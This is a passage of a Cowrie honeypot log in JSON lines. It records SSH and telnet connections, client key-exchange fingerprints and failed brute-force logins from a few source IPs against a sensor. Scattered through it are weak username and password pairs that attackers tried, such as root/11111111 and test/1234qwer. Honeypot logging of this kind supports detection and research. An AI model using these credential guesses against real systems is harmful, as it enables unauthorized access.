1@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:40.880088Z","src_ip":"192.109.200.237","session":"44847afd6a53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:41.288685Z","src_ip":"192.109.200.237","session":"44847afd6a53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:42.378191Z","src_ip":"192.109.200.237","session":"44847afd6a53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57256,"dst_ip":"159.203.135.109","dst_port":22,"session":"570845f52a27","protocol":"ssh","message":"New connection: 192.109.200.237:57256 (159.203.135.109:22) [session: 570845f52a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:44.473531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:44.477893Z","src_ip":"192.109.200.237","session":"570845f52a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:44.560171Z","src_ip":"192.109.200.237","session":"570845f52a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20161271095276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:44.805512Z","src_ip":"50.6.8.71","session":"0a2a739b9309","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:44.811299Z","src_ip":"192.109.200.237","session":"570845f52a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51602,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2b7df1fbae8","protocol":"telnet","message":"New connection: 50.6.8.71:51602 (10.17.0.5:23) [session: b2b7df1fbae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:45.509050Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:45.896766Z","src_ip":"192.109.200.237","session":"570845f52a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57258,"dst_ip":"159.203.135.109","dst_port":22,"session":"26e6e2b1d942","protocol":"ssh","message":"New connection: 192.109.200.237:57258 (159.203.135.109:22) [session: 26e6e2b1d942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:47.856957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:47.862013Z","src_ip":"192.109.200.237","session":"26e6e2b1d942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:47.948409Z","src_ip":"192.109.200.237","session":"26e6e2b1d942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:48.195070Z","src_ip":"192.109.200.237","session":"26e6e2b1d942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:49.280120Z","src_ip":"192.109.200.237","session":"26e6e2b1d942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.58176350593567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:49.480738Z","src_ip":"50.6.8.71","session":"be024d8f02b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44224,"dst_ip":"10.17.0.5","dst_port":23,"session":"32a032e67543","protocol":"telnet","message":"New connection: 50.6.8.71:44224 (10.17.0.5:23) [session: 32a032e67543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:49.697871Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33054,"dst_ip":"159.203.135.109","dst_port":22,"session":"62fc2dc4f6a0","protocol":"ssh","message":"New connection: 192.109.200.237:33054 (159.203.135.109:22) [session: 62fc2dc4f6a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:51.412228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:51.416407Z","src_ip":"192.109.200.237","session":"62fc2dc4f6a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:51.498424Z","src_ip":"192.109.200.237","session":"62fc2dc4f6a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:51.744906Z","src_ip":"192.109.200.237","session":"62fc2dc4f6a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:52.833387Z","src_ip":"192.109.200.237","session":"62fc2dc4f6a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44238,"dst_ip":"10.17.0.5","dst_port":23,"session":"b997e2dda834","protocol":"telnet","message":"New connection: 50.6.8.71:44238 (10.17.0.5:23) [session: b997e2dda834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:52.971272Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33082,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ad1ed26c1c7","protocol":"ssh","message":"New connection: 192.109.200.237:33082 (159.203.135.109:22) [session: 1ad1ed26c1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:54.860407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:54.865669Z","src_ip":"192.109.200.237","session":"1ad1ed26c1c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:54.949089Z","src_ip":"192.109.200.237","session":"1ad1ed26c1c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.70580005645752,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:55.117567Z","src_ip":"50.6.8.71","session":"9cb5ff499be8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:55.199438Z","src_ip":"192.109.200.237","session":"1ad1ed26c1c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":44800,"dst_ip":"159.203.135.109","dst_port":22,"session":"901a9ba7451d","protocol":"ssh","message":"New connection: 193.37.70.224:44800 (159.203.135.109:22) [session: 901a9ba7451d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:55.351505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:55.356254Z","src_ip":"193.37.70.224","session":"901a9ba7451d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:55.450110Z","src_ip":"193.37.70.224","session":"901a9ba7451d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123qwerty","message":"login attempt [root/qwerty123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:55.720782Z","src_ip":"193.37.70.224","session":"901a9ba7451d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:56.284484Z","src_ip":"192.109.200.237","session":"1ad1ed26c1c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:56.813087Z","src_ip":"193.37.70.224","session":"901a9ba7451d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47432,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb3cb742523f","protocol":"telnet","message":"New connection: 50.6.8.71:47432 (10.17.0.5:23) [session: fb3cb742523f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:57.990654Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33112,"dst_ip":"159.203.135.109","dst_port":22,"session":"c06577c675d4","protocol":"ssh","message":"New connection: 192.109.200.237:33112 (159.203.135.109:22) [session: c06577c675d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:58.380667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:58.385569Z","src_ip":"192.109.200.237","session":"c06577c675d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47446,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c4dfd3e3a8f","protocol":"telnet","message":"New connection: 50.6.8.71:47446 (10.17.0.5:23) [session: 8c4dfd3e3a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:58.421160Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:58.468961Z","src_ip":"192.109.200.237","session":"c06577c675d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:58.719888Z","src_ip":"192.109.200.237","session":"c06577c675d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.695000648498535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:59.468378Z","src_ip":"50.6.8.71","session":"7c2ca862a6e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:13:59.806502Z","src_ip":"192.109.200.237","session":"c06577c675d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35626,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc8970e7146b","protocol":"ssh","message":"New connection: 192.109.200.237:35626 (159.203.135.109:22) [session: fc8970e7146b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:01.801998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:01.807383Z","src_ip":"192.109.200.237","session":"fc8970e7146b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:01.890399Z","src_ip":"192.109.200.237","session":"fc8970e7146b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:02.139769Z","src_ip":"192.109.200.237","session":"fc8970e7146b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:14:03.236011Z","src_ip":"192.109.200.237","session":"fc8970e7146b","protocol":"ssh"}
